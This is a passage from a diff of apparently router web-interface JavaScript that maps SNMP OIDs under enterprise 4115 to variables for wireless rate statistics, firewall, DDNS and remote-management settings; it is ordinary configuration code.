Scalar("PacketsRcv24Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.9",2); +AdvanceWirelessStatsRateStats.PacketsRcv36Mbps= new Scalar("PacketsRcv36Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.10",2); +AdvanceWirelessStatsRateStats.PacketsRcv48Mbps= new Scalar("PacketsRcv48Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.11",2); +AdvanceWirelessStatsRateStats.PacketsRcv54Mbps= new Scalar("PacketsRcv54Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.12",2); +AdvanceWirelessStatsRateStats.PacketsRcv108Mbps= new Scalar("PacketsRcv108Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.13",2); +AdvanceWirelessStatsRateStats.PacketsRcv162Mbps= new Scalar("PacketsRcv162Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.14",2); +AdvanceWirelessStatsRateStats.PacketsRcv216Mbps= new Scalar("PacketsRcv216Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.15",2); +AdvanceWirelessStatsRateStats.PacketsRcv270Mbps= new Scalar("PacketsRcv270Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.16",2); +AdvanceWirelessStatsRateStats.PacketsRcv324Mbps= new Scalar("PacketsRcv324Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.17",2); +AdvanceWirelessStatsRateStats.PacketsRcv378Mbps= new Scalar("PacketsRcv378Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.18",2); +AdvanceWirelessStatsRateStats.PacketsRcv432Mbps= new Scalar("PacketsRcv432Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.19",2); +AdvanceWirelessStatsRateStats.PacketsRcv486Mbps= new Scalar("PacketsRcv486Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.20",2); +AdvanceWirelessStatsRateStats.PacketsRcv540Mbps= new Scalar("PacketsRcv540Mbps","1.3.6.1.4.1.4115.1.20.1.1.3.46.4.21",2); +var arPacketsRcv1Mbps=AdvanceWirelessStatsRateStats.PacketsRcv1Mbps; +var arPacketsRcv2Mbps=AdvanceWirelessStatsRateStats.PacketsRcv2Mbps; +var arPacketsRcv5HalfMbps=AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps; +var arPacketsRcv6Mbps=AdvanceWirelessStatsRateStats.PacketsRcv6Mbps; +var arPacketsRcv9Mbps=AdvanceWirelessStatsRateStats.PacketsRcv9Mbps; +var arPacketsRcv11Mbps=AdvanceWirelessStatsRateStats.PacketsRcv11Mbps; +var arPacketsRcv12Mbps=AdvanceWirelessStatsRateStats.PacketsRcv12Mbps; +var arPacketsRcv18Mbps=AdvanceWirelessStatsRateStats.PacketsRcv18Mbps; +var arPacketsRcv24Mbps=AdvanceWirelessStatsRateStats.PacketsRcv24Mbps; +var arPacketsRcv36Mbps=AdvanceWirelessStatsRateStats.PacketsRcv36Mbps; +var arPacketsRcv48Mbps=AdvanceWirelessStatsRateStats.PacketsRcv48Mbps; +var arPacketsRcv54Mbps=AdvanceWirelessStatsRateStats.PacketsRcv54Mbps; +var arPacketsRcv108Mbps=AdvanceWirelessStatsRateStats.PacketsRcv108Mbps; +var arPacketsRcv162Mbps=AdvanceWirelessStatsRateStats.PacketsRcv162Mbps; +var arPacketsRcv216Mbps=AdvanceWirelessStatsRateStats.PacketsRcv216Mbps; +var arPacketsRcv270Mbps=AdvanceWirelessStatsRateStats.PacketsRcv270Mbps; +var arPacketsRcv324Mbps=AdvanceWirelessStatsRateStats.PacketsRcv324Mbps; +var arPacketsRcv378Mbps=AdvanceWirelessStatsRateStats.PacketsRcv378Mbps; +var arPacketsRcv432Mbps=AdvanceWirelessStatsRateStats.PacketsRcv432Mbps; +var arPacketsRcv486Mbps=AdvanceWirelessStatsRateStats.PacketsRcv486Mbps; +var arPacketsRcv540Mbps=AdvanceWirelessStatsRateStats.PacketsRcv540Mbps; + +var FWCfg = new Container("FWCfg", "1.3.6.1.4.1.4115.1.20.1.1.4"); +FWCfg.FWEnabled= new Scalar("FWEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.1",2); +FWCfg.FWVirtSrvClear= new Scalar("FWVirtSrvClear","1.3.6.1.4.1.4115.1.20.1.1.4.2",2); +FWCfg.FWIPFilterClear= new Scalar("FWIPFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.3",2); +FWCfg.FWMACFilterClear= new Scalar("FWMACFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.4",2); +FWCfg.FWPortTrigClear= new Scalar("FWPortTrigClear","1.3.6.1.4.1.4115.1.20.1.1.4.5",2); +FWCfg.FWEnableDMZ= new Scalar("FWEnableDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.6",2); +FWCfg.FWIPAddrTypeDMZ= new Scalar("FWIPAddrTypeDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.7",2); +FWCfg.FWIPAddrDMZ= new Scalar("FWIPAddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.8",4, 1); +FWCfg.FWSecurityLevel= new Scalar("FWSecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.4.9",2); +FWCfg.FWApplySettings= new Scalar("FWApplySettings","1.3.6.1.4.1.4115.1.20.1.1.4.10",2); +FWCfg.FWAllowAll= new Scalar("FWAllowAll","1.3.6.1.4.1.4115.1.20.1.1.4.14",2); +FWCfg.FWAllowICMP= new Scalar("FWAllowICMP","1.3.6.1.4.1.4115.1.20.1.1.4.21",2); +FWCfg.FWResetDefaults= new Scalar("FWResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.4.22",2); +FWCfg.FWBlockHTTP= new Scalar("FWBlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.4.23",2); +FWCfg.FWBlockP2P= new Scalar("FWBlockP2P","1.3.6.1.4.1.4115.1.20.1.1.4.24",2); +FWCfg.FWBlockIdent= new Scalar("FWBlockIdent","1.3.6.1.4.1.4115.1.20.1.1.4.25",2); +FWCfg.FWBlockICMP= new Scalar("FWBlockICMP","1.3.6.1.4.1.4115.1.20.1.1.4.26",2); +FWCfg.FWBlockMulticast= new Scalar("FWBlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.27",2); +FWCfg.FWVSSrcPortExclude= new Scalar("FWVSSrcPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.28",4); +FWCfg.FWVSDestPortExclude= new Scalar("FWVSDestPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.29",4); +FWCfg.FWEnableNow= new Scalar("FWEnableNow","1.3.6.1.4.1.4115.1.20.1.1.4.30",2); +FWCfg.FWAllowDestPorts= new Scalar("FWAllowDestPorts","1.3.6.1.4.1.4115.1.20.1.1.4.31",4); +FWCfg.FWVirtSrvTableEnabled= new Scalar("FWVirtSrvTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.32",2); +FWCfg.FWPortTrigTableEnabled= new Scalar("FWPortTrigTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.33",2); +// scm { +FWCfg.FWIPv6AddrDMZ= new Scalar("arFWIPv6AddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.39",4, 1); +// scm } +var arFWEnabled=FWCfg.FWEnabled; +var arFWVirtSrvClear=FWCfg.FWVirtSrvClear; +var arFWIPFilterClear=FWCfg.FWIPFilterClear; +var arFWMACFilterClear=FWCfg.FWMACFilterClear; +var arFWPortTrigClear=FWCfg.FWPortTrigClear; +var arFWEnableDMZ=FWCfg.FWEnableDMZ; +var arFWIPAddrTypeDMZ=FWCfg.FWIPAddrTypeDMZ; +var arFWIPAddrDMZ=FWCfg.FWIPAddrDMZ; +var arFWSecurityLevel=FWCfg.FWSecurityLevel; +var arFWApplySettings=FWCfg.FWApplySettings; +var arFWAllowAll=FWCfg.FWAllowAll; +var arFWAllowICMP=FWCfg.FWAllowICMP; +var arFWResetDefaults=FWCfg.FWResetDefaults; +var arFWBlockHTTP=FWCfg.FWBlockHTTP; +var arFWBlockP2P=FWCfg.FWBlockP2P; +var arFWBlockIdent=FWCfg.FWBlockIdent; +var arFWBlockICMP=FWCfg.FWBlockICMP; +var arFWBlockMulticast=FWCfg.FWBlockMulticast; +var arFWVSSrcPortExclude=FWCfg.FWVSSrcPortExclude; +var arFWVSDestPortExclude=FWCfg.FWVSDestPortExclude; +var arFWEnableNow=FWCfg.FWEnableNow; +var arFWAllowDestPorts=FWCfg.FWAllowDestPorts; +var arFWVirtSrvTableEnabled=FWCfg.FWVirtSrvTableEnabled; +var arFWPortTrigTableEnabled=FWCfg.FWPortTrigTableEnabled; +// scm start +var arFWIPv6AddrDMZ=FWCfg.FWIPv6AddrDMZ; + +var FWVirtSrvTable = new Table("FWVirtSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.4.12"); +FWVirtSrvTable.FWVirtSrvIndex = new Column("FWVirtSrvIndex","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.1",66); +FWVirtSrvTable.FWVirtSrvDesc = new Column("FWVirtSrvDesc","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2",4); +FWVirtSrvTable.FWVirtSrvPortStart = new Column("FWVirtSrvPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3",66); +FWVirtSrvTable.FWVirtSrvPortEnd = new Column("FWVirtSrvPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4",66); +FWVirtSrvTable.FWVirtSrvProtoType = new Column("FWVirtSrvProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5",2); +FWVirtSrvTable.FWVirtSrvIPAddrType = new Column("FWVirtSrvIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6",2); +FWVirtSrvTable.FWVirtSrvIPAddr = new Column("FWVirtSrvIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7",4, 1); +FWVirtSrvTable.FWVirtSrvTOD = new Column("FWVirtSrvTOD","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.8",2); +FWVirtSrvTable.FWVirtSrvLocalPortStart = new Column("FWVirtSrvLocalPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9",66); +FWVirtSrvTable.FWVirtSrvLocalPortEnd = new Column("FWVirtSrvLocalPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10",66); +FWVirtSrvTable.FWVirtSrvRowStatus = new Column("FWVirtSrvRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11",2); +// scm start +FWVirtSrvTable.FWVirtSrvIPv6AddrType = new Column("arFWVirtSrvActive","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.12",2); +FWVirtSrvTable.FWVirtSrvIPv6Addr = new Column("arFWVirtSrvIPv6Addr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.13",4); +// scm end +var arFWVirtSrvIndex=FWVirtSrvTable.FWVirtSrvIndex; +var arFWVirtSrvDesc=FWVirtSrvTable.FWVirtSrvDesc; +var arFWVirtSrvPortStart=FWVirtSrvTable.FWVirtSrvPortStart; +var arFWVirtSrvPortEnd=FWVirtSrvTable.FWVirtSrvPortEnd; +var arFWVirtSrvProtoType=FWVirtSrvTable.FWVirtSrvProtoType; +var arFWVirtSrvIPAddrType=FWVirtSrvTable.FWVirtSrvIPAddrType; +var arFWVirtSrvIPAddr=FWVirtSrvTable.FWVirtSrvIPAddr; +var arFWVirtSrvTOD=FWVirtSrvTable.FWVirtSrvTOD; +var arFWVirtSrvLocalPortStart=FWVirtSrvTable.FWVirtSrvLocalPortStart; +var arFWVirtSrvLocalPortEnd=FWVirtSrvTable.FWVirtSrvLocalPortEnd; +var arFWVirtSrvRowStatus=FWVirtSrvTable.FWVirtSrvRowStatus; +var FWVirtSrvIPv6AddrType=FWVirtSrvTable.FWVirtSrvIPv6AddrType; +var arFWVirtSrvIPv6Addr=FWVirtSrvTable.FWVirtSrvIPv6Addr; + +var FWIPFilterTable = new Table("FWIPFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.13"); +FWIPFilterTable.FWIPFilterIndex = new Column("FWIPFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.1",66); +FWIPFilterTable.FWIPFilterDesc = new Column("FWIPFilterDesc","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.2",4); +FWIPFilterTable.FWIPFilterStartType = new Column("FWIPFilterStartType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.3",2); +FWIPFilterTable.FWIPFilterStartAddr = new Column("FWIPFilterStartAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.4",4, 1); +FWIPFilterTable.FWIPFilterEndType = new Column("FWIPFilterEndType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.5",2); +FWIPFilterTable.FWIPFilterEndAddr = new Column("FWIPFilterEndAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.6",4, 1); +FWIPFilterTable.FWIPFilterPortStart = new Column("FWIPFilterPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.7",66); +FWIPFilterTable.FWIPFilterPortEnd = new Column("FWIPFilterPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.8",66); +FWIPFilterTable.FWIPFilterProtoType = new Column("FWIPFilterProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.9",2); +FWIPFilterTable.FWIPFilterTOD = new Column("FWIPFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.10",2); +FWIPFilterTable.FWIPFilterRowStatus = new Column("FWIPFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.11",2); +FWIPFilterTable.FWIPFilterAction = new Column("FWIPFilterAction","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.12",2); +FWIPFilterTable.FWIPFilterDirection = new Column("FWIPFilterDirection","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.13",2); +FWIPFilterTable.FWIPFilterStartMin = new Column("FWIPFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.14",2); +FWIPFilterTable.FWIPFilterEndMin = new Column("FWIPFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.15",2); + +var arFWIPFilterIndex=FWIPFilterTable.FWIPFilterIndex; +var arFWIPFilterDesc=FWIPFilterTable.FWIPFilterDesc; +var arFWIPFilterStartType=FWIPFilterTable.FWIPFilterStartType; +var arFWIPFilterStartAddr=FWIPFilterTable.FWIPFilterStartAddr; +var arFWIPFilterEndType=FWIPFilterTable.FWIPFilterEndType; +var arFWIPFilterEndAddr=FWIPFilterTable.FWIPFilterEndAddr; +var arFWIPFilterPortStart=FWIPFilterTable.FWIPFilterPortStart; +var arFWIPFilterPortEnd=FWIPFilterTable.FWIPFilterPortEnd; +var arFWIPFilterProtoType=FWIPFilterTable.FWIPFilterProtoType; +var arFWIPFilterTOD=FWIPFilterTable.FWIPFilterTOD; +var arFWIPFilterRowStatus=FWIPFilterTable.FWIPFilterRowStatus; +var arFWIPFilterAction=FWIPFilterTable.FWIPFilterAction; +var arFWIPFilterDirection=FWIPFilterTable.FWIPFilterDirection; +var arFWIPFilterStartMin=FWIPFilterTable.FWIPFilterStartMin; +var arFWIPFilterEndMin=FWIPFilterTable.FWIPFilterEndMin; + +var FWMACFilterTable = new Table("FWMACFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.15"); +FWMACFilterTable.FWMACFilterIndex = new Column("FWMACFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.1",66); +FWMACFilterTable.FWMACFilterAddr = new Column("FWMACFilterAddr","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.2",4, 1); +FWMACFilterTable.FWMACFilterTOD = new Column("FWMACFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.3",2); +FWMACFilterTable.FWMACFilterRowStatus = new Column("FWMACFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.4",2); +FWMACFilterTable.FWMACFilterHostName = new Column("FWMACFilterHostName","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.5",4); +FWMACFilterTable.FWMACFilterStartMin = new Column("FWMACFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.6",2); +FWMACFilterTable.FWMACFilterEndMin = new Column("FWMACFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.7",2); +var arFWMACFilterIndex=FWMACFilterTable.FWMACFilterIndex; +var arFWMACFilterAddr=FWMACFilterTable.FWMACFilterAddr; +var arFWMACFilterTOD=FWMACFilterTable.FWMACFilterTOD; +var arFWMACFilterRowStatus=FWMACFilterTable.FWMACFilterRowStatus; +var arFWMACFilterHostName=FWMACFilterTable.FWMACFilterHostName; +var arFWMACFilterStartMin=FWMACFilterTable.FWMACFilterStartMin; +var arFWMACFilterEndMin=FWMACFilterTable.FWMACFilterEndMin; + +var FWPortTrigTable = new Table("FWPortTrigTable", "1.3.6.1.4.1.4115.1.20.1.1.4.16"); +FWPortTrigTable.FWPortTrigIndex = new Column("FWPortTrigIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.16.1.1",66); +FWPortTrigTable.FWPortTrigDesc = new Column("FWPortTrigDesc","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.2",4); +FWPortTrigTable.FWPortTrigPortStart = new Column("FWPortTrigPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.3",66); +FWPortTrigTable.FWPortTrigPortEnd = new Column("FWPortTrigPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.4",66); +FWPortTrigTable.FWPortTargPortStart = new Column("FWPortTargPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.5",66); +FWPortTrigTable.FWPortTargPortEnd = new Column("FWPortTargPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.6",66); +FWPortTrigTable.FWPortTrigProtoType = new Column("FWPortTrigProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.7",2); +FWPortTrigTable.FWPortTrigTOD = new Column("FWPortTrigTOD","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.8",2); +FWPortTrigTable.FWPortTrigRowStatus = new Column("FWPortTrigRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.9",2); +var arFWPortTrigIndex=FWPortTrigTable.FWPortTrigIndex; +var arFWPortTrigDesc=FWPortTrigTable.FWPortTrigDesc; +var arFWPortTrigPortStart=FWPortTrigTable.FWPortTrigPortStart; +var arFWPortTrigPortEnd=FWPortTrigTable.FWPortTrigPortEnd; +var arFWPortTargPortStart=FWPortTrigTable.FWPortTargPortStart; +var arFWPortTargPortEnd=FWPortTrigTable.FWPortTargPortEnd; +var arFWPortTrigProtoType=FWPortTrigTable.FWPortTrigProtoType; +var arFWPortTrigTOD=FWPortTrigTable.FWPortTrigTOD; +var arFWPortTrigRowStatus=FWPortTrigTable.FWPortTrigRowStatus; + +var FWFilterRules = new Container("FWFilterRules", "1.3.6.1.4.1.4115.1.20.1.1.4.17"); +FWFilterRules.FWFilterProxy= new Scalar("FWFilterProxy","1.3.6.1.4.1.4115.1.20.1.1.4.17.1",2); +FWFilterRules.FWFilterCookies= new Scalar("FWFilterCookies","1.3.6.1.4.1.4115.1.20.1.1.4.17.2",2); +FWFilterRules.FWFilterJavaApplets= new Scalar("FWFilterJavaApplets","1.3.6.1.4.1.4115.1.20.1.1.4.17.3",2); +FWFilterRules.FWFilterActiveX= new Scalar("FWFilterActiveX","1.3.6.1.4.1.4115.1.20.1.1.4.17.4",2); +FWFilterRules.FWFilterPopupWnds= new Scalar("FWFilterPopupWnds","1.3.6.1.4.1.4115.1.20.1.1.4.17.5",2); +FWFilterRules.FWBlockFragIPPkts= new Scalar("FWBlockFragIPPkts","1.3.6.1.4.1.4115.1.20.1.1.4.17.6",2); +FWFilterRules.FWPortScanProtect= new Scalar("FWPortScanProtect","1.3.6.1.4.1.4115.1.20.1.1.4.17.7",2); +FWFilterRules.FWIPFloodDetect= new Scalar("FWIPFloodDetect","1.3.6.1.4.1.4115.1.20.1.1.4.17.8",2); +var arFWFilterProxy=FWFilterRules.FWFilterProxy; +var arFWFilterCookies=FWFilterRules.FWFilterCookies; +var arFWFilterJavaApplets=FWFilterRules.FWFilterJavaApplets; +var arFWFilterActiveX=FWFilterRules.FWFilterActiveX; +var arFWFilterPopupWnds=FWFilterRules.FWFilterPopupWnds; +var arFWBlockFragIPPkts=FWFilterRules.FWBlockFragIPPkts; +var arFWPortScanProtect=FWFilterRules.FWPortScanProtect; +var arFWIPFloodDetect=FWFilterRules.FWIPFloodDetect; + +var FWDDNSObjs = new Container("FWDDNSObjs", "1.3.6.1.4.1.4115.1.20.1.1.4.18"); +FWDDNSObjs.FWDDNSEnable= new Scalar("FWDDNSEnable","1.3.6.1.4.1.4115.1.20.1.1.4.18.1",2); +FWDDNSObjs.FWDDNSType= new Scalar("FWDDNSType","1.3.6.1.4.1.4115.1.20.1.1.4.18.2",2); +FWDDNSObjs.FWDDNSUserHame= new Scalar("FWDDNSUserHame","1.3.6.1.4.1.4115.1.20.1.1.4.18.3",4); +FWDDNSObjs.FWDDNSPassword= new Scalar("FWDDNSPassword","1.3.6.1.4.1.4115.1.20.1.1.4.18.4",4); +FWDDNSObjs.FWDDNSDomainName= new Scalar("FWDDNSDomainName","1.3.6.1.4.1.4115.1.20.1.1.4.18.5",4); +FWDDNSObjs.FWDDNSIPAddrType= new Scalar("FWDDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.18.6",2); +FWDDNSObjs.FWDDNSIPAddr= new Scalar("FWDDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.18.7",4, 1); +FWDDNSObjs.FWDDNSStatus= new Scalar("FWDDNSStatus","1.3.6.1.4.1.4115.1.20.1.1.4.18.8",4); +var arFWDDNSEnable=FWDDNSObjs.FWDDNSEnable; +var arFWDDNSType=FWDDNSObjs.FWDDNSType; +var arFWDDNSUserHame=FWDDNSObjs.FWDDNSUserHame; +var arFWDDNSPassword=FWDDNSObjs.FWDDNSPassword; +var arFWDDNSDomainName=FWDDNSObjs.FWDDNSDomainName; +var arFWDDNSIPAddrType=FWDDNSObjs.FWDDNSIPAddrType; +var arFWDDNSIPAddr=FWDDNSObjs.FWDDNSIPAddr; +var arFWDDNSStatus=FWDDNSObjs.FWDDNSStatus; + + + +/*var FWDDNSDataTable= new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.11.1.5.12"); +FWDDNSDataTable.DDNSService= new Column("DDNSService","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.1",4); +FWDDNSDataTable.DDNSUserName=new Column("DDNSUserName","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.2",4); +FWDDNSDataTable.DDNSPassword=new Column("DDNSPassword","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.3",4); +FWDDNSDataTable.DDNSHostNames=new Column("DDNSHostNames","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.4",4); +var arDDNSService= FWDDNSDataTable.DDNSService; +var arDDNSUserName= FWDDNSDataTable.DDNSUserName; +var arDDNSPassword= FWDDNSDataTable.DDNSPassword; +var arDDNSHostNames=FWDDNSDataTable.DDNSHostNames; +*/ +var FWDDNSDataTable = new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1"); +FWDDNSDataTable.FWDDNSType = new Column("FWDDNSType", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.3", 4); +FWDDNSDataTable.FWDDNSUserHame = new Column("FWDDNSUserHame", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.4", 4); +FWDDNSDataTable.FWDDNSPassword = new Column("FWDDNSPassword", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.5", 4); +var arDDNSService= FWDDNSDataTable.FWDDNSType; +var arDDNSUserName= FWDDNSDataTable.FWDDNSUserHame; +var arDDNSPassword= FWDDNSDataTable.FWDDNSPassword; + +var FWDDNSHostAccess = new Table("FWDDNSHostAccess", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2"); +FWDDNSHostAccess.HostnameDDNSIndex = new Column("HostnameDDNSIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.1", 2); +FWDDNSHostAccess.HostnameValue = new Column("HostnameValue", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.2", 2); +FWDDNSHostAccess.HostnameRowStatus = new Column("HostnameRowStatus", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.3", 2); +var arHostnameDDNSIndex = FWDDNSHostAccess.HostnameDDNSIndex; +var arHostnameValue = FWDDNSHostAccess.HostnameValue; +var arHostnameRowStatus = FWDDNSHostAccess.HostnameRowStatus; + + + +var FWFeatures = new Container("FWFeatures", "1.3.6.1.4.1.4115.1.20.1.1.4.19"); +FWFeatures.FWEnableWanBlocking= new Scalar("FWEnableWanBlocking","1.3.6.1.4.1.4115.1.20.1.1.4.19.1",2); +FWFeatures.FWIPSecPassThru= new Scalar("FWIPSecPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.2",2); +FWFeatures.FWPPTPPassThru= new Scalar("FWPPTPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.3",2); +FWFeatures.FWEnableMulticast= new Scalar("FWEnableMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.19.4",2); +FWFeatures.FWEnableRemoteMgmt= new Scalar("FWEnableRemoteMgmt","1.3.6.1.4.1.4115.1.20.1.1.4.19.5",2); +FWFeatures.FWL2TPPassThru= new Scalar("FWL2TPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.7",2); +FWFeatures.FWEnableWanSNMP= new Scalar("FWEnableWanSNMP","1.3.6.1.4.1.4115.1.20.1.1.4.19.8",2); +FWFeatures.FWEnableWanSSH= new Scalar("FWEnableWanSSH","1.3.6.1.4.1.4115.1.20.1.1.4.19.9",2); +FWFeatures.FWEnableLanSNMPWireless= new Scalar("FWEnableLanSNMPWireless","1.3.6.1.4.1.4115.1.20.1.1.4.19.10",2); +var arFWEnableWanBlocking=FWFeatures.FWEnableWanBlocking; +var arFWIPSecPassThru=FWFeatures.FWIPSecPassThru; +var arFWPPTPPassThru=FWFeatures.FWPPTPPassThru; +var arFWEnableMulticast=FWFeatures.FWEnableMulticast; +var arFWEnableRemoteMgmt=FWFeatures.FWEnableRemoteMgmt; +var arFWL2TPPassThru=FWFeatures.FWL2TPPassThru; +var arFWEnableWanSNMP=FWFeatures.FWEnableWanSNMP; +var arFWEnableWanSSH=FWFeatures.FWEnableWanSSH; +var arFWEnableLanSNMPWireless=FWFeatures.FWEnableLanSNMPWireless; + +// scm add 4 + +var FWEnableRemoteMgmt = new Container("FWEnableRemoteMgmt", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12"); +FWEnableRemoteMgmt.FWRemoteMgmtHttp= new Scalar("FWRemoteMgmtHttp","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.1",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpPort= new Scalar("FWRemoteMgmtHttpPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.3",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttps= new Scalar("FWRemoteMgmtHttps","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.2",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort= new Scalar("FWRemoteMgmtHttpsPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.4",2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedType = new Scalar("FWRemoteMgmtAllowedType", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.5", 2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 = new Scalar("FWRemoteMgmtAllowedIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.6", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 = new Scalar("FWRemoteMgmtAllowedIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.7", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 = new Scalar("FWRemoteMgmtAllowedStartIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.8", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 = new Scalar("FWRemoteMgmtAllowedEndIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.9", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 = new Scalar("FWRemoteMgmtAllowedStartIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.10", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 = new Scalar("FWRemoteMgmtAllowedEndIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.11", 4); +FWEnableRemoteMgmt.FWRemoteMgmtTelnet = new Scalar("FWRemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.12", 4); +var arFWRemoteMgmtHttp = FWEnableRemoteMgmt.FWRemoteMgmtHttp; +var arFWRemoteMgmtHttpPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpPort; +var arFWRemoteMgmtHttps = FWEnableRemoteMgmt.FWRemoteMgmtHttps; +var arFWRemoteMgmtHttpsPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort; +var arFWRemoteMgmtAllowedType =FWEnableRemoteMgmt.FWRemoteMgmtAllowedType ; +var arFWRemoteMgmtAllowedIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 ; +var arFWRemoteMgmtAllowedIPv6 